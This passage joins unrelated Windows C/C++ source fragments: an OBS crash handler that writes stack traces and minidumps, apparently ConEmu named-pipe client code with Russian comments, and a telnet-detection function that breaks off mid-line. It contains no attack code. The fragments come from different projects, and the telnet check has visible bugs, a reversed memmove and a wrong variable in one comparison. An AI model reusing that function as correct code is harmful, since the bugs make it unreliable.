TEXT("%s\\crashDumps\\OBSCrashLog%.4d-%.2d-%.2d_%d.txt"), lpAppDataPath, timeInfo.wYear, timeInfo.wMonth, timeInfo.wDay, i); if (GetFileAttributes(logPath) == INVALID_FILE_ATTRIBUTES) break; i++; } XFile crashDumpLog; if (!crashDumpLog.Open(logPath, XFILE_WRITE, XFILE_CREATENEW)) { FreeLibrary (hDbgHelp); return EXCEPTION_CONTINUE_SEARCH; } //initialize debug symbols fnSymInitialize (hProcess, NULL, TRUE); #ifdef _WIN64 InstructionPtr = context.Rip; frame.AddrPC.Offset = InstructionPtr; frame.AddrFrame.Offset = context.Rbp; frame.AddrStack.Offset = context.Rsp; imageType = IMAGE_FILE_MACHINE_AMD64; #else InstructionPtr = context.Eip; frame.AddrPC.Offset = InstructionPtr; frame.AddrFrame.Offset = context.Ebp; frame.AddrStack.Offset = context.Esp; imageType = IMAGE_FILE_MACHINE_I386; #endif frame.AddrFrame.Mode = AddrModeFlat; frame.AddrPC.Mode = AddrModeFlat; frame.AddrStack.Mode = AddrModeFlat; symInfo = (SYMBOL_INFO *)LocalAlloc (LPTR, sizeof(*symInfo) + 256); symInfo->SizeOfStruct = sizeof(SYMBOL_INFO); symInfo->MaxNameLen = 256; fnOffset = 0; //get os info memset (&osInfo, 0, sizeof(osInfo)); osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); if (!GetVersionEx ((OSVERSIONINFO *)&osInfo)) { osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx ((OSVERSIONINFO *)&osInfo); } String cpuInfo; HKEY key; // get cpu info if(RegOpenKey(HKEY_LOCAL_MACHINE, TEXT("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"), &key) == ERROR_SUCCESS) { DWORD dwSize = 1024; cpuInfo.SetLength(dwSize); if (RegQueryValueEx(key, TEXT("ProcessorNameString"), NULL, NULL, (LPBYTE)cpuInfo.Array(), &dwSize) != ERROR_SUCCESS) cpuInfo = TEXT("<unable to query>"); RegCloseKey(key); } else cpuInfo = TEXT("<unable to query>"); //determine which module the crash occured in scpy (moduleInfo.moduleName, TEXT("<unknown>")); moduleInfo.faultAddress = InstructionPtr; fnEnumerateLoadedModules64 (hProcess, (PENUMLOADED_MODULES_CALLBACK64)EnumerateLoadedModulesProcInfo, (VOID *)&moduleInfo); slwr (moduleInfo.moduleName); BOOL isPlugin = FALSE; if (sstr (moduleInfo.moduleName, TEXT("plugins\\"))) isPlugin = TRUE; String strModuleInfo; String crashMessage; fnEnumerateLoadedModules64(hProcess, (PENUMLOADED_MODULES_CALLBACK64)RecordAllLoadedModules, (VOID *)&strModuleInfo); crashMessage << TEXT("OBS has encountered an unhandled exception and has terminated. If you are able to\r\n") TEXT("reproduce this crash, please submit this crash report on the forums at\r\n") TEXT("https://obsproject.com/ - include the contents of this crash log and the\r\n") TEXT("minidump .dmp file (if available) as well as your regular OBS log files and\r\n") TEXT("a description of what you were doing at the time of the crash.\r\n") TEXT("\r\n") TEXT("This crash appears to have occured in the '") << moduleInfo.moduleName << TEXT("' module.\r\n\r\n"); crashDumpLog.WriteStr(crashMessage.Array()); crashDumpLog.WriteStr(FormattedString(TEXT("**** UNHANDLED EXCEPTION: %x\r\nFault address: %I64p (%s)\r\n"), exceptionInfo->ExceptionRecord->ExceptionCode, InstructionPtr, moduleInfo.moduleName)); crashDumpLog.WriteStr(TEXT("OBS version: ") OBS_VERSION_STRING TEXT("\r\n")); crashDumpLog.WriteStr(FormattedString(TEXT("Windows version: %d.%d (Build %d) %s\r\nCPU: %s\r\n\r\n"), osInfo.dwMajorVersion, osInfo.dwMinorVersion, osInfo.dwBuildNumber, osInfo.szCSDVersion, cpuInfo.Array())); crashDumpLog.WriteStr(TEXT("Crashing thread stack trace:\r\n")); #ifdef _WIN64 crashDumpLog.WriteStr(TEXT("Stack EIP Arg0 Arg1 Arg2 Arg3 Address\r\n")); #else crashDumpLog.WriteStr(TEXT("Stack EIP Arg0 Arg1 Arg2 Arg3 Address\r\n")); #endif crashDumpLog.FlushFileBuffers(); while (fnStackWalk64 (imageType, hProcess, GetCurrentThread(), &frame, &context, NULL, (PFUNCTION_TABLE_ACCESS_ROUTINE64)fnSymFunctionTableAccess64, (PGET_MODULE_BASE_ROUTINE64)fnSymGetModuleBase64, NULL)) { scpy (moduleInfo.moduleName, TEXT("<unknown>")); moduleInfo.faultAddress = frame.AddrPC.Offset; fnEnumerateLoadedModules64 (hProcess, (PENUMLOADED_MODULES_CALLBACK64)EnumerateLoadedModulesProcInfo, (VOID *)&moduleInfo); slwr (moduleInfo.moduleName); p = srchr (moduleInfo.moduleName, '\\'); if (p) p++; else p = moduleInfo.moduleName; #ifdef _WIN64 if (fnSymFromAddr (hProcess, frame.AddrPC.Offset, &fnOffset, symInfo) && !(symInfo->Flags & SYMFLAG_EXPORT)) { crashDumpLog.WriteStr(FormattedString(TEXT("%016I64X %016I64X %016I64X %016I64X %016I64X %016I64X %s!%s+0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, frame.Params[0], frame.Params[1], frame.Params[2], frame.Params[3], p, symInfo->Name, fnOffset)); } else { crashDumpLog.WriteStr(FormattedString(TEXT("%016I64X %016I64X %016I64X %016I64X %016I64X %016I64X %s!0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, frame.Params[0], frame.Params[1], frame.Params[2], frame.Params[3], p, frame.AddrPC.Offset)); } #else if (fnSymFromAddr (hProcess, frame.AddrPC.Offset, &fnOffset, symInfo) && !(symInfo->Flags & SYMFLAG_EXPORT)) { crashDumpLog.WriteStr(FormattedString(TEXT("%08.8I64X %08.8I64X %08.8X %08.8X %08.8X %08.8X %s!%s+0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, (DWORD)frame.Params[0], (DWORD)frame.Params[1], (DWORD)frame.Params[2], (DWORD)frame.Params[3], p, symInfo->Name, fnOffset)); } else { crashDumpLog.WriteStr(FormattedString(TEXT("%08.8I64X %08.8I64X %08.8X %08.8X %08.8X %08.8X %s!0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, (DWORD)frame.Params[0], (DWORD)frame.Params[1], (DWORD)frame.Params[2], (DWORD)frame.Params[3], p, frame.AddrPC.Offset )); } #endif crashDumpLog.FlushFileBuffers(); } //if we manually crashed due to a deadlocked thread, record some extra info if (exceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) { HANDLE hVideoThread = NULL, hEncodeThread = NULL; if (App) App->GetThreadHandles (&hVideoThread, &hEncodeThread); if (hVideoThread) { crashDumpLog.WriteStr(TEXT("\r\nVideo thread stack trace:\r\n")); #ifdef _WIN64 crashDumpLog.WriteStr(TEXT("Stack EIP Arg0 Arg1 Arg2 Arg3 Address\r\n")); #else crashDumpLog.WriteStr(TEXT("Stack EIP Arg0 Arg1 Arg2 Arg3 Address\r\n")); #endif crashDumpLog.FlushFileBuffers(); context.ContextFlags = CONTEXT_ALL; GetThreadContext (hVideoThread, &context); ZeroMemory (&frame, sizeof(frame)); #ifdef _WIN64 InstructionPtr = context.Rip; frame.AddrPC.Offset = InstructionPtr; frame.AddrFrame.Offset = context.Rbp; frame.AddrStack.Offset = context.Rsp; imageType = IMAGE_FILE_MACHINE_AMD64; #else InstructionPtr = context.Eip; frame.AddrPC.Offset = InstructionPtr; frame.AddrFrame.Offset = context.Ebp; frame.AddrStack.Offset = context.Esp; imageType = IMAGE_FILE_MACHINE_I386; #endif frame.AddrFrame.Mode = AddrModeFlat; frame.AddrPC.Mode = AddrModeFlat; frame.AddrStack.Mode = AddrModeFlat; while (fnStackWalk64 (imageType, hProcess, hVideoThread, &frame, &context, NULL, (PFUNCTION_TABLE_ACCESS_ROUTINE64)fnSymFunctionTableAccess64, (PGET_MODULE_BASE_ROUTINE64)fnSymGetModuleBase64, NULL)) { scpy (moduleInfo.moduleName, TEXT("<unknown>")); moduleInfo.faultAddress = frame.AddrPC.Offset; fnEnumerateLoadedModules64 (hProcess, (PENUMLOADED_MODULES_CALLBACK64)EnumerateLoadedModulesProcInfo, (VOID *)&moduleInfo); slwr (moduleInfo.moduleName); p = srchr (moduleInfo.moduleName, '\\'); if (p) p++; else p = moduleInfo.moduleName; #ifdef _WIN64 if (fnSymFromAddr (hProcess, frame.AddrPC.Offset, &fnOffset, symInfo) && !(symInfo->Flags & SYMFLAG_EXPORT)) { crashDumpLog.WriteStr(FormattedString(TEXT("%016I64X %016I64X %016I64X %016I64X %016I64X %016I64X %s!%s+0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, frame.Params[0], frame.Params[1], frame.Params[2], frame.Params[3], p, symInfo->Name, fnOffset)); } else { crashDumpLog.WriteStr(FormattedString(TEXT("%016I64X %016I64X %016I64X %016I64X %016I64X %016I64X %s!0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, frame.Params[0], frame.Params[1], frame.Params[2], frame.Params[3], p, frame.AddrPC.Offset)); } #else if (fnSymFromAddr (hProcess, frame.AddrPC.Offset, &fnOffset, symInfo) && !(symInfo->Flags & SYMFLAG_EXPORT)) { crashDumpLog.WriteStr(FormattedString(TEXT("%08.8I64X %08.8I64X %08.8X %08.8X %08.8X %08.8X %s!%s+0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, (DWORD)frame.Params[0], (DWORD)frame.Params[1], (DWORD)frame.Params[2], (DWORD)frame.Params[3], p, symInfo->Name, fnOffset)); } else { crashDumpLog.WriteStr(FormattedString(TEXT("%08.8I64X %08.8I64X %08.8X %08.8X %08.8X %08.8X %s!0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, (DWORD)frame.Params[0], (DWORD)frame.Params[1], (DWORD)frame.Params[2], (DWORD)frame.Params[3], p, frame.AddrPC.Offset )); } #endif crashDumpLog.FlushFileBuffers(); } } if (hEncodeThread) { crashDumpLog.WriteStr(TEXT("\r\nEncode thread stack trace:\r\n")); #ifdef _WIN64 crashDumpLog.WriteStr(TEXT("Stack EIP Arg0 Arg1 Arg2 Arg3 Address\r\n")); #else crashDumpLog.WriteStr(TEXT("Stack EIP Arg0 Arg1 Arg2 Arg3 Address\r\n")); #endif crashDumpLog.FlushFileBuffers(); context.ContextFlags = CONTEXT_ALL; GetThreadContext (hEncodeThread, &context); ZeroMemory (&frame, sizeof(frame)); #ifdef _WIN64 InstructionPtr = context.Rip; frame.AddrPC.Offset = InstructionPtr; frame.AddrFrame.Offset = context.Rbp; frame.AddrStack.Offset = context.Rsp; imageType = IMAGE_FILE_MACHINE_AMD64; #else InstructionPtr = context.Eip; frame.AddrPC.Offset = InstructionPtr; frame.AddrFrame.Offset = context.Ebp; frame.AddrStack.Offset = context.Esp; imageType = IMAGE_FILE_MACHINE_I386; #endif frame.AddrFrame.Mode = AddrModeFlat; frame.AddrPC.Mode = AddrModeFlat; frame.AddrStack.Mode = AddrModeFlat; while (fnStackWalk64 (imageType, hProcess, hEncodeThread, &frame, &context, NULL, (PFUNCTION_TABLE_ACCESS_ROUTINE64)fnSymFunctionTableAccess64, (PGET_MODULE_BASE_ROUTINE64)fnSymGetModuleBase64, NULL)) { scpy (moduleInfo.moduleName, TEXT("<unknown>")); moduleInfo.faultAddress = frame.AddrPC.Offset; fnEnumerateLoadedModules64 (hProcess, (PENUMLOADED_MODULES_CALLBACK64)EnumerateLoadedModulesProcInfo, (VOID *)&moduleInfo); slwr (moduleInfo.moduleName); p = srchr (moduleInfo.moduleName, '\\'); if (p) p++; else p = moduleInfo.moduleName; #ifdef _WIN64 if (fnSymFromAddr (hProcess, frame.AddrPC.Offset, &fnOffset, symInfo) && !(symInfo->Flags & SYMFLAG_EXPORT)) { crashDumpLog.WriteStr(FormattedString(TEXT("%016I64X %016I64X %016I64X %016I64X %016I64X %016I64X %s!%s+0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, frame.Params[0], frame.Params[1], frame.Params[2], frame.Params[3], p, symInfo->Name, fnOffset)); } else { crashDumpLog.WriteStr(FormattedString(TEXT("%016I64X %016I64X %016I64X %016I64X %016I64X %016I64X %s!0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, frame.Params[0], frame.Params[1], frame.Params[2], frame.Params[3], p, frame.AddrPC.Offset)); } #else if (fnSymFromAddr (hProcess, frame.AddrPC.Offset, &fnOffset, symInfo) && !(symInfo->Flags & SYMFLAG_EXPORT)) { crashDumpLog.WriteStr(FormattedString(TEXT("%08.8I64X %08.8I64X %08.8X %08.8X %08.8X %08.8X %s!%s+0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, (DWORD)frame.Params[0], (DWORD)frame.Params[1], (DWORD)frame.Params[2], (DWORD)frame.Params[3], p, symInfo->Name, fnOffset)); } else { crashDumpLog.WriteStr(FormattedString(TEXT("%08.8I64X %08.8I64X %08.8X %08.8X %08.8X %08.8X %s!0x%I64x\r\n"), frame.AddrStack.Offset, frame.AddrPC.Offset, (DWORD)frame.Params[0], (DWORD)frame.Params[1], (DWORD)frame.Params[2], (DWORD)frame.Params[3], p, frame.AddrPC.Offset )); } #endif crashDumpLog.FlushFileBuffers(); } } } //generate a minidump if possible if (fnMiniDumpWriteDump) { TCHAR dumpPath[MAX_PATH]; HANDLE hFile; tsprintf_s (dumpPath, _countof(dumpPath)-1, TEXT("%s\\crashDumps\\OBSCrashDump%.4d-%.2d-%.2d_%d.dmp"), lpAppDataPath, timeInfo.wYear, timeInfo.wMonth, timeInfo.wDay, i); hFile = CreateFile (dumpPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { MINIDUMP_TYPE dumpFlags = (MINIDUMP_TYPE)(MiniDumpWithIndirectlyReferencedMemory | MiniDumpWithUnloadedModules | MiniDumpWithProcessThreadData); miniInfo.ClientPointers = TRUE; miniInfo.ExceptionPointers = exceptionInfo; miniInfo.ThreadId = GetCurrentThreadId (); if (fnMiniDumpWriteDump (hProcess, GetCurrentProcessId(), hFile, dumpFlags, &miniInfo, NULL, NULL)) { crashDumpLog.WriteStr(FormattedString(TEXT("\r\nA minidump was saved to %s.\r\nPlease include this file when posting a crash report.\r\n"), dumpPath)); } else { CloseHandle (hFile); DeleteFile (dumpPath); } } } else { crashDumpLog.WriteStr(TEXT("\r\nA minidump could not be created. Please check dbghelp.dll is present.\r\n")); } crashDumpLog.WriteStr("\r\nList of loaded modules:\r\n"); #ifdef _WIN64 crashDumpLog.WriteStr("Base Address Module\r\n"); #else crashDumpLog.WriteStr("Base Address Module\r\n"); #endif crashDumpLog.WriteStr(strModuleInfo); crashDumpLog.Close(); LocalFree (symInfo); fnSymCleanup (hProcess); if (OBSMessageBox(hwndMain, TEXT("Woops! OBS has crashed. Would you like to view a crash report?"), NULL, MB_ICONERROR | MB_YESNO) == IDYES) ShellExecute(NULL, NULL, logPath, NULL, searchPath, SW_SHOWDEFAULT); FreeLibrary (hDbgHelp); //we really shouldn't be returning here, if we're at the bottom of the VEH chain this is a pretty legitimate crash //and if we return we could end up invoking a second crash handler or other weird / annoying things //ExitProcess(exceptionInfo->ExceptionRecord->ExceptionCode); return EXCEPTION_CONTINUE_SEARCH; }
// nTimeout - таймаут подключения HANDLE ExecuteOpenPipe(const wchar_t* szPipeName, wchar_t (&szErr)[MAX_PATH*2], const wchar_t* szModule, DWORD nServerPID, DWORD nTimeout, BOOL Overlapped /*= FALSE*/, HANDLE hStop /*= NULL*/, BOOL bIgnoreAbsence /*= FALSE*/) { HANDLE hPipe = NULL; DWORD dwErr = 0, dwMode = 0; BOOL fSuccess = FALSE; DWORD dwStartTick = GetTickCount(); DWORD nSleepError = 10; // допустимое количество обломов, отличных от ERROR_PIPE_BUSY. после каждого - Sleep(nSleepError); // Увеличим допустимое количество попыток, иначе облом наступает раньше секунды ожидания const int nDefaultTries = 100; int nTries = nDefaultTries; // nTimeout должен ограничивать ВЕРХНЮЮ границу времени ожидания _ASSERTE(EXECUTE_CMD_OPENPIPE_TIMEOUT >= nTimeout); DWORD nOpenPipeTimeout = nTimeout ? min(nTimeout,EXECUTE_CMD_OPENPIPE_TIMEOUT) : EXECUTE_CMD_OPENPIPE_TIMEOUT; _ASSERTE(nOpenPipeTimeout > 0); DWORD nWaitPipeTimeout = min(250,nOpenPipeTimeout); BOOL bWaitPipeRc = FALSE, bWaitCalled = FALSE; DWORD nWaitPipeErr = 0; DWORD nDuration = 0; DWORD nStopWaitRc = (DWORD)-1; #ifdef _DEBUG wchar_t szDbgMsg[512], szTitle[128]; #endif // WinXP SP1 и выше DEBUGTEST(BOOL lbServerIsDebugged = nServerPID ? IsProcessDebugged(nServerPID) : FALSE); _ASSERTE(LocalSecurity()!=NULL); // Try to open a named pipe; wait for it, if necessary. while (1) { hPipe = CreateFile( szPipeName, // pipe name GENERIC_READ|GENERIC_WRITE, 0, // no sharing LocalSecurity(), // default security attributes OPEN_EXISTING, // opens existing pipe (Overlapped ? FILE_FLAG_OVERLAPPED : 0), // default attributes NULL); // no template file dwErr = GetLastError(); // Break if the pipe handle is valid. if (hPipe && (hPipe != INVALID_HANDLE_VALUE)) { break; // OK, открыли } _ASSERTE(hPipe); #ifdef _DEBUG if (gbPipeDebugBoxes) { szDbgMsg[0] = 0; GetModuleFileName(NULL, szDbgMsg, countof(szDbgMsg)); msprintf(szTitle, countof(szTitle), L"%s: PID=%u", PointToName(szDbgMsg), GetCurrentProcessId()); msprintf(szDbgMsg, countof(szDbgMsg), L"Can't open pipe, ErrCode=%u\n%s\nWait: %u,%u,%u", dwErr, szPipeName, bWaitCalled, bWaitPipeRc, nWaitPipeErr); int nBtn = ::MessageBox(NULL, szDbgMsg, szTitle, MB_SYSTEMMODAL|MB_RETRYCANCEL); if (nBtn == IDCANCEL) return NULL; } #endif nDuration = GetTickCount() - dwStartTick; if (hStop) { // Затребовано завершение приложения или еще что-то nStopWaitRc = WaitForSingleObject(hStop, 0); if (nStopWaitRc == WAIT_OBJECT_0) { return NULL; } } if (dwErr == ERROR_PIPE_BUSY) { if ((nTries > 0) && (nDuration < nOpenPipeTimeout)) { bWaitCalled = TRUE; // All pipe instances are busy, so wait for a while (not more 500 ms). bWaitPipeRc = WaitNamedPipe(szPipeName, nWaitPipeTimeout); nWaitPipeErr = GetLastError(); UNREFERENCED_PARAMETER(bWaitPipeRc); UNREFERENCED_PARAMETER(nWaitPipeErr); // -- 120602 раз они заняты (но живы), то будем ждать, пока не освободятся //nTries--; continue; } else { _ASSERTEX(dwErr != ERROR_PIPE_BUSY); } } // Сделаем так, чтобы хотя бы пару раз он попробовал повторить if ((nTries <= 0) || (nDuration > nOpenPipeTimeout)) { #ifdef _DEBUG msprintf(szErr, countof(szErr), L"%s.%u\nCreateFile(%s) failed\ncode=%u%s%s", ModuleName(szModule), GetCurrentProcessId(), szPipeName, dwErr, (nTries <= 0) ? L", Tries" : L"", (nDuration > nOpenPipeTimeout) ? L", Duration" : L""); //_ASSERTEX(FALSE && "Pipe open failed with timeout!"); int iBtn = bIgnoreAbsence ? IDCANCEL : MessageBox(NULL, szErr, L"Pipe open failed with timeout!", MB_ICONSTOP|MB_SYSTEMMODAL|MB_RETRYCANCEL); if (iBtn == IDRETRY) { nTries = nDefaultTries; continue; } #endif SetLastError(dwErr); return NULL; } else { nTries--; } // Может быть пайп еще не создан (в процессе срабатывания семафора) if (dwErr == ERROR_FILE_NOT_FOUND) { // Wait for a while (10 ms) Sleep(nSleepError); continue; } // Exit if an error other than ERROR_PIPE_BUSY occurs. // -- if (dwErr != ERROR_PIPE_BUSY) // уже проверено выше msprintf(szErr, countof(szErr), L"%s.%u: CreateFile(%s) failed, code=%u", ModuleName(szModule), GetCurrentProcessId(), szPipeName, dwErr); SetLastError(dwErr); // Failed! return NULL; // Уже сделано выше //// All pipe instances are busy, so wait for 500 ms. //WaitNamedPipe(szPipeName, 500); //if (!WaitNamedPipe(szPipeName, 1000) ) //{ // dwErr = GetLastError(); // if (pszErr) // { // StringCchPrintf(pszErr, countof(pszErr), L"%s: WaitNamedPipe(%s) failed, code=0x%08X, WaitNamedPipe", // szModule ? szModule : L"Unknown", szPipeName, dwErr); // // Видимо это возникает в момент запуска (обычно для ShiftEnter - новая консоль) // // не сразу срабатывает GUI и RCon еще не создал Pipe для HWND консоли // _ASSERTE(dwErr == 0); // } // return NULL; //} } #ifdef _DEBUG DWORD nCurState = 0, nCurInstances = 0; BOOL bCurState = GetNamedPipeHandleState(hPipe, &nCurState, &nCurInstances, NULL, NULL, NULL, 0); #endif // The pipe connected; change to message-read mode. dwMode = CE_PIPE_READMODE; fSuccess = SetNamedPipeHandleState( hPipe, // pipe handle &dwMode, // new pipe mode NULL, // don't set maximum bytes NULL); // don't set maximum time #if 0 if (!fSuccess) { dwErr = GetLastError(); _ASSERTE(fSuccess); //if (pszErr) { msprintf(szErr, countof(szErr), L"%s.%u: SetNamedPipeHandleState(%s) failed, code=0x%08X", ModuleName(szModule), GetCurrentProcessId(), szPipeName, dwErr); #ifdef _DEBUG int nCurLen = lstrlen(szErr); msprintf(szErr+nCurLen, countof(szErr)-nCurLen, L"\nCurState: %u,x%08X,%u", bCurState, nCurState, nCurInstances); #endif } CloseHandle(hPipe); #ifdef _DEBUG if (gbPipeDebugBoxes) { szDbgMsg[0] = 0; GetModuleFileName(NULL, szDbgMsg, countof(szDbgMsg)); msprintf(szTitle, countof(szTitle), L"%s: PID=%u", PointToName(szDbgMsg), GetCurrentProcessId()); ::MessageBox(NULL, szErr, szTitle, MB_SYSTEMMODAL); } #endif return NULL; } #endif UNREFERENCED_PARAMETER(bWaitCalled); UNREFERENCED_PARAMETER(fSuccess); return hPipe; }
//Arguments: // hConWnd - Хэндл КОНСОЛЬНОГО окна (по нему формируется имя пайпа для GUI) // pIn - выполняемая команда // nTimeout- таймаут подключения //Returns: // CESERVER_REQ. Его необходимо освободить через free(...); //WARNING!!! // Эта процедура не может получить с сервера более 600 байт данных! // В заголовке hOwner в дебаге может быть отображена ошибка CESERVER_REQ* ExecuteCmd(const wchar_t* szPipeName, CESERVER_REQ* pIn, DWORD nWaitPipe, HWND hOwner, BOOL bAsyncNoResult, DWORD nServerPID, BOOL bIgnoreAbsence /*= FALSE*/) { CESERVER_REQ* pOut = NULL; HANDLE hPipe = NULL; BYTE cbReadBuf[600]; // чтобы CESERVER_REQ_OUTPUTFILE поместился wchar_t szErr[MAX_PATH*2]; szErr[0] = 0; BOOL fSuccess = FALSE; DWORD cbRead = 0, /*dwMode = 0,*/ dwErr = 0; int nAllSize; LPBYTE ptrData; #ifdef _DEBUG bool bIsAltSrvCmd; wchar_t szDbgPrefix[64], szDbgResult[64], *pszDbgMsg = NULL; #endif if (!pIn || !szPipeName) { _ASSERTE(pIn && szPipeName); pOut = NULL; goto wrap; } #ifdef _DEBUG _wsprintf(szDbgPrefix, SKIPLEN(countof(szDbgPrefix)) L">> ExecCmd: PID=%5u TID=%5u Cmd=%3u ", GetCurrentProcessId(), GetCurrentThreadId(), pIn->hdr.nCmd); pszDbgMsg = lstrmerge(szDbgPrefix, szPipeName, L"\n"); if (pszDbgMsg) { DEBUGSTRCMD(pszDbgMsg); free(pszDbgMsg); } #endif pIn->hdr.bAsync = bAsyncNoResult; _ASSERTE(pIn->hdr.nSrcPID && pIn->hdr.nSrcThreadId); _ASSERTE(pIn->hdr.cbSize >= sizeof(pIn->hdr)); hPipe = ExecuteOpenPipe(szPipeName, szErr, NULL/*Сюда хорошо бы имя модуля подкрутить*/, nServerPID, nWaitPipe, FALSE, NULL, bIgnoreAbsence); if (hPipe == NULL || hPipe == INVALID_HANDLE_VALUE) { #ifdef _DEBUG dwErr = GetLastError(); // в заголовке "чисто" запущенного фара появляются отладочные(?) сообщения // по идее - не должны, т.к. все должно быть через мэппинг // *** _ASSERTEX(hPipe != NULL && hPipe != INVALID_HANDLE_VALUE); - no need in assert, it was already shown #ifdef CONEMU_MINIMAL SetConsoleTitle(szErr); #else if (hOwner) { if (hOwner == myGetConsoleWindow()) SetConsoleTitle(szErr); else SetWindowText(hOwner, szErr); } #endif #endif pOut = NULL; goto wrap; } #ifdef _DEBUG bIsAltSrvCmd = (pIn->hdr.nCmd==CECMD_ALTBUFFER || pIn->hdr.nCmd==CECMD_ALTBUFFERSTATE || pIn->hdr.nCmd==CECMD_SETCONSCRBUF || pIn->hdr.nCmd == CECMD_LOCKSTATION || pIn->hdr.nCmd == CECMD_UNLOCKSTATION); _ASSERTE(pIn->hdr.nSrcThreadId==GetCurrentThreadId() || (bIsAltSrvCmd && pIn->hdr.nSrcPID!=GetCurrentProcessId())); #endif if (bAsyncNoResult) { // Если нас не интересует возврат и нужно сразу вернуться fSuccess = WriteFile(hPipe, pIn, pIn->hdr.cbSize, &cbRead, NULL); #ifdef _DEBUG dwErr = GetLastError(); _ASSERTE(fSuccess && (cbRead == pIn->hdr.cbSize)); #endif // -- Do not close hPipe, otherwise the reader may fail with that packet // -- with error ‘pipe was closed before end’. // -- Handle leak, yeah, however this is rarely used op. // -- Must be refactored, but not so critical... // -- CloseHandle(hPipe); pOut = NULL; goto wrap; } else { WARNING("При Overlapped часто виснет в этом месте."); // Send a message to the pipe server and read the response. fSuccess = TransactNamedPipe( hPipe, // pipe handle (LPVOID)pIn, // message to server pIn->hdr.cbSize, // message length cbReadBuf, // buffer to receive reply sizeof(cbReadBuf), // size of read buffer &cbRead, // bytes read NULL); // not overlapped dwErr = GetLastError(); //CloseHandle(hPipe); if (!fSuccess && (dwErr != ERROR_MORE_DATA)) { //_ASSERTE(fSuccess || (dwErr == ERROR_MORE_DATA)); CloseHandle(hPipe); pOut = NULL; goto wrap; } } if (cbRead < sizeof(CESERVER_REQ_HDR)) { CloseHandle(hPipe); pOut = NULL; goto wrap; } pOut = (CESERVER_REQ*)cbReadBuf; // temporary if (pOut->hdr.cbSize < cbRead) { CloseHandle(hPipe); if (pOut->hdr.cbSize) { _ASSERTE(pOut->hdr.cbSize == 0 || pOut->hdr.cbSize >= cbRead); DEBUGSTR(L"!!! Wrong nSize received from GUI server !!!\n"); } pOut = NULL; goto wrap; } if (pOut->hdr.nVersion != CESERVER_REQ_VER) { CloseHandle(hPipe); DEBUGSTR(L"!!! Wrong nVersion received from GUI server !!!\n"); pOut = NULL; goto wrap; } nAllSize = pOut->hdr.cbSize; pOut = (CESERVER_REQ*)malloc(nAllSize); _ASSERTE(pOut); if (!pOut) { CloseHandle(hPipe); _ASSERTE(pOut == NULL); goto wrap; } memmove(pOut, cbReadBuf, cbRead); ptrData = ((LPBYTE)pOut)+cbRead; nAllSize -= cbRead; while (nAllSize>0) { // Break if TransactNamedPipe or ReadFile is successful if (fSuccess) break; // Read from the pipe if there is more data in the message. fSuccess = ReadFile( hPipe, // pipe handle ptrData, // buffer to receive reply nAllSize, // size of buffer &cbRead, // number of bytes read NULL); // not overlapped // Exit if an error other than ERROR_MORE_DATA occurs. if (!fSuccess && ((dwErr = GetLastError()) != ERROR_MORE_DATA)) break; ptrData += cbRead; nAllSize -= cbRead; } CloseHandle(hPipe); if (pOut && (pOut->hdr.nCmd != pIn->hdr.nCmd)) { _ASSERTE(pOut->hdr.nCmd == pIn->hdr.nCmd); if (pOut->hdr.nCmd == 0) { ExecuteFreeResult(pOut); pOut = NULL; } } wrap: #ifdef _DEBUG if (pOut) _wsprintf(szDbgResult, SKIPLEN(countof(szDbgResult)) L"- Data=%5u Err=%u\n", pOut->DataSize(), dwErr); else lstrcpyn(szDbgResult, L"[NULL]\n", countof(szDbgResult)); pszDbgMsg = lstrmerge(szDbgPrefix, szDbgResult); if (pszDbgMsg) { DEBUGSTRCMD(pszDbgMsg); free(pszDbgMsg); } #endif return pOut; }
bool isTerminalMode() { static bool TerminalMode = false, TerminalChecked = false; if (!TerminalChecked) { // -- переменная "TERM" может быть задана пользователем // -- для каких-то специальных целей, полагаться на нее нельзя //TCHAR szVarValue[64]; //szVarValue[0] = 0; //if (GetEnvironmentVariable(_T("TERM"), szVarValue, 63) && szVarValue[0]) //{ // TerminalMode = true; //} //TerminalChecked = true; PROCESSENTRY32 P = {sizeof(PROCESSENTRY32)}; HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnap == INVALID_HANDLE_VALUE) { // будем считать, что не в telnet :) } else if (Process32First(hSnap, &P)) { int nProcCount = 0, nProcMax = 1024; PROCESSENTRY32 *pProcesses = (PROCESSENTRY32*)calloc(nProcMax, sizeof(PROCESSENTRY32)); DWORD nCurPID = GetCurrentProcessId(); DWORD nParentPID = nCurPID; // Сначала загрузить список всех процессов, чтобы потом по нему выйти не корневой do { if (nProcCount == nProcMax) { nProcMax += 1024; PROCESSENTRY32 *p = (PROCESSENTRY32*)calloc(nProcMax, sizeof(PROCESSENTRY32)); memmove(pProcesses, p, nProcCount*sizeof(PROCESSENTRY32)); free(pProcesses); pProcesses = p; } pProcesses[nProcCount] = P; if (P.th32ProcessID == nParentPID) { if (P.th32ProcessID != nCurPID) { if (!lstrcmpi(P.szExeFile, L"tlntsess.exe") || !lstrcmpi(P.szExeFile, L"tlntsvr.exe")) { TerminalMode = TerminalChecked = true; break; } } nParentPID = P.th32ParentProcessID; } nProcCount++; } while (Process32Next(hSnap, &P)); // Snapshot больше не нужен CloseHandle(hSnap); int nSteps = 128; // защита от зацикливания while (!TerminalMode && (--nSteps) > 0) { for (int i = 0; i < nProcCount; i++) { if (pProcesses[i].th32ProcessID == nParentPID) { if (P.th32ProcessID != nCurPID) { if (!lstrcmpi(pProcesses[i].szExeFile, L"tlntsess.exe") || !lstrcmpi(pProcesses[i].szExeFile, 